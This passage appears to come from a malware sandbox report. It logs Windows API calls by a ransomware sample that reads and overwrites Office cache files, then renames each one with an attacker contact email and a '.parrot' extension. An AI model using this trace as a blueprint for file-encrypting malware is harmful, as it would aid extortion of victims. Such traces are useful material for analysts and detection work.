dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.638] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.644] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.644] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x251f, lpOverlapped=0x0) returned 1 [0115.689] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.692] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682e70 | out: hHeap=0x5b0000) returned 1 [0115.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687280 | out: hHeap=0x5b0000) returned 1 [0115.724] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.724] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.726] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.726] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.831] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.876] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.876] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.876] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.880] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x263518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.880] CloseHandle (hObject=0x258) returned 1 [0115.881] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685350 | out: hHeap=0x5b0000) returned 1 [0115.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.888] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.888] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.891] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.891] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x646, lpOverlapped=0x0) returned 1 [0115.892] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.892] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685350 | out: hHeap=0x5b0000) returned 1 [0115.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0115.896] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.896] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.898] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.898] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.980] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.980] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.981] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.981] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.984] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10a5f10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.984] CloseHandle (hObject=0x258) returned 1 [0115.985] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685350 | out: hHeap=0x5b0000) returned 1 [0115.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.993] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.993] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.994] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.995] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x7c4, lpOverlapped=0x0) returned 1 [0115.995] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.995] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685350 | out: hHeap=0x5b0000) returned 1 [0115.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0116.063] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.063] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.064] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.065] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.100] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0116.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.100] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.104] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x265518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0116.104] CloseHandle (hObject=0x27c) returned 1 [0116.104] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685730 | out: hHeap=0x5b0000) returned 1 [0116.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0116.112] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.112] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.114] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.114] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x5ac, lpOverlapped=0x0) returned 1 [0116.114] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.114] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685730 | out: hHeap=0x5b0000) returned 1 [0116.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0116.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.118] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.120] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.202] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0116.203] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.203] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.206] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e1ee5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0116.206] CloseHandle (hObject=0x27c) returned 1 [0116.207] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685730 | out: hHeap=0x5b0000) returned 1 [0116.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0116.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.216] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.217] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x750, lpOverlapped=0x0) returned 1 [0116.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.218] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685730 | out: hHeap=0x5b0000) returned 1 [0116.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0116.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.229] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.231] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.267] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0116.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.268] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.271] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e7f37, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0116.271] CloseHandle (hObject=0x27c) returned 1 [0116.271] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685b10 | out: hHeap=0x5b0000) returned 1 [0116.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0116.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.279] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.281] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0116.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0116.368] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x264518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0116.368] CloseHandle (hObject=0x27c) returned 1 [0116.368] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685b10 | out: hHeap=0x5b0000) returned 1 [0116.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0116.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.375] ReadFile 